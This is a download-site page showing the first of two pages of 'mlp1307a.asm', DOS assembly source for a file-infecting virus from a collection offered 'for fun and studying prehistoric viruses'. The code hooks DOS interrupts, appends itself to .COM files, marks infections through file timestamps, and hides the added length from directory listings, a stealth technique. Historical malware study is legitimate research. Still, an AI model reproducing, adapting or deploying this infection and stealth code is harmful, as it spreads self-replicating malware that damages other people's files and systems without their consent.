⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mlp1307a.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
		push    cx              ;save attrib

		xor     cx,cx
		mov     ax,4301h        ;force all attribs
		int     21h

		mov     ax,3d02h        ;open filename
		lea     dx,filename
		pushf
		push    cs
		call    call_int21h
		mov     bx,ax           ;save handle

		mov     ax,5700h        ;get time/date
		int     21h

		push    dx              ;save time/date
		push    cx

		and     cl,00011111b
		cmp     cl,00001010b
		jne     $+7            ;already infected (sec=24)
		lea     dx,cancel_inf2
		jmp     far ptr dx



		mov     ah,3fh                  ;read 3 first bytes
		mov     cx,3
		lea     dx,first_bytes
		int     21h

		mov     ax,4202h                ;goto eof
		xor     dx,dx
		xor     cx,cx
		int     21h

		sub     ax,3                    ;create a jmp
		mov     jmp_2,ax

		mov     ah,40h                  ;write virus
		mov     dx,100h
		mov     cx,filelen
		int     21h

		mov     ax,4200h                ;goto beg
		xor     dx,dx
		xor     cx,cx
		int     21h

		mov     ah,40h                  ;write jmp
		mov     cx,3
		lea     dx,jmp_1
		int     21h
cancel_inf2:
		pop     cx                      ;restore time/date
		pop     dx

		and     cl,11100000b            ;secs=20
		or      cl,00001010b
		mov     ax,5701h                ;set time/date
		int     21h

		mov     ah,3eh                  ;close
		pushf
		push    cs
		call    call_int21h

		mov     ax,4301h                ;set attrib
		lea     dx,filename
		pop     cx                      ;restore attrib
		int     21h

		ret
find_new:
		pop     bp
		popf

		pushf                           ;find 4e
		push    cs
		call    call_int21h
		jnc     more_files
		retf    2
more_files:
		pushf
		push    ax
		push    bx
		push    cx
		push    dx
		push    si
		push    di
		push    ds
		push    es
		push    bp

		mov     ah,2fh                  ;get dta
		int     21h

		push    es              ;es:bx
		pop     ds              ;ds:bx

		mov     si,bx           ;ds:si

		push    cs              ;cs => es
		pop     es

		add     si,1eh          ;f name
		lea     di,filename
		mov     cx,25

get_fname:
		lodsb
		cmp     al,0
		je      get_f_klar
		stosb
		loop    get_fname
get_f_klar:
		mov     al,0            ;asciiz
		stosb

		push    ds              ;ds=> es
		pop     es
		push    cs              ;cs=> ds
		pop     ds
		mov     si,di

		sub     si,4            ;'COM'
		lodsw                   ;CO

		cmp     ax,'OC'
		je      check_m
		cmp     ax,'oc'
		jne     cancel_new
check_m:
		lodsb
		cmp     al,'m'
		je      ext_is_com
		cmp     al,'M'
		jne     cancel_new

ext_is_com:
		push    es              ;es=> ds
		pop     ds

		mov     si,bx
		add     si,1ch          ;check size
		lodsw
		cmp     ax,0            ;=> 0ffffh
		jne     cancel_new

		mov     si,bx
		add     si,16h
		lodsw                   ;time
		and     al,00011111b
		cmp     al,00001010b
		jne     cancel_new     ;not infected

		mov     si,bx
		add     si,1ah
		mov     di,si
		lodsw                   ;alter size
		sub     ax,cs:filelen
		jz      cancel_new
		stosw

cancel_new:
		pop     bp
		pop     es
		pop     ds
		pop     di
		pop     si
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		popf
no_more_files2: retf    2               ;iret flags
open:
		pop     bp
		push    ax
		push    bx
		push    cx
		push    dx
		push    si
		push    di
		push    bp
		push    ds
		push    es


		mov     al,'.'
		push    ds              ;ds=> es
		pop     es
		mov     di,dx           ;es:di filename

		mov     cx,50
		repnz   scasb

		mov     si,di           ;ds:si file ext.

		lodsw
		cmp     ax,'OC'
		je      check_m2
		cmp     ax,'oc'
		je      $+7
		lea     dx,cancel_open
		jmp     far ptr dx
check_m2:
		lodsb
		cmp     al,'m'
		je      ext_is_com2
		cmp     al,'M'
		jne     cancel_open

ext_is_com2:
		mov     ax,3d02h        ;open file
		pushf
		push    cs
		call    call_int21h
		jc      cancel_open
		mov     bx,ax

		push    cs
		pop     ds
		push    cs
		pop     es

		mov     ax,5700h        ;get time/date
		int     21h

		and     cl,00011111b    ;already infected
		cmp     cl,00001010b
		jne     cancel_open

		mov     ax,4202h        ;goto eof
		xor     dx,dx
		xor     cx,cx
		int     21h

		push    ax              ;save size
		sub     ax,3

		mov     dx,ax           ;goto eof -3
		mov     ax,4200h
		mov     cx,0
		int     21h

		mov     ah,3fh          ;read
		mov     cx,3
		lea     dx,temp_bytes
		int     21h


		mov     ax,4200h        ;goto beg
		xor     cx,cx
		xor     dx,dx
		int     21h

		mov     ah,40h          ;write original
		mov     cx,3
		lea     dx,temp_bytes
		int     21h

		pop     dx
		sub     dx,filelen

		mov     ax,4200h        ;goto real size
		mov     cx,0
		int     21h

		mov     ah,40h
		mov     cx,0
		int     21h

		mov     ah,3eh
		pushf
		push    cs
		call    call_int21h
cancel_open:
		pop     es
		pop     ds
		pop     bp
		pop     di
		pop     si
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		popf

		pushf                           ;open file...
		push    cs
		call    call_int21h
		retf    2

close_file:
		pop     bp
		push    ax
		push    bx
		push    cx
		push    dx
		push    si
		push    di
		push    bp
		push    ds
		push    es

		mov     ax,1220h        ;get handle table
		int     02Fh
		mov     bl,es:[di]
		mov     ax,1216h
		int     02Fh

		mov     bp,di

		add     di,28h
		push    es
		pop     ds
		mov     si,di
		lodsw
		cmp     ax,'OC'
		jne     cancel_open
		lodsb
		cmp     al,'M'
		jne     cancel_open

		mov     si,bp
		add     si,20h
		push    cs
		pop     es

		call    infect

		jmp     cancel_open

get_rnd:
		push   dx
		push   cx
		push   bx
		in     al,40h                         ;'@'
		add    ax,0000
		mov    dx,0000
		mov    cx,0007
rnd_init5:
		shl    ax,1
		rcl    dx,1
		mov    bl,al
		xor    bl,dh
		jns    rnd_init6
		inc    al
rnd_init6:
		loop   rnd_init5
		pop    bx
		mov    al,dl
		pop    cx
		pop    dx
rnd_init_ret:
		ret

logo            db      '>>>  A.N.O.I  <<<' ; DATA to overwrite with


temp_bytes      db      3 dup(?)
filelen         dw      offset eof - offset start
memlen          dw      100
file_buffer     db      80 dup(20h)
filename        db      12 dup(?)

jmp_1           db      0e9h
jmp_2           dw      ?
first_bytes     db      90h,0cdh,20h

eof:
		end     start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -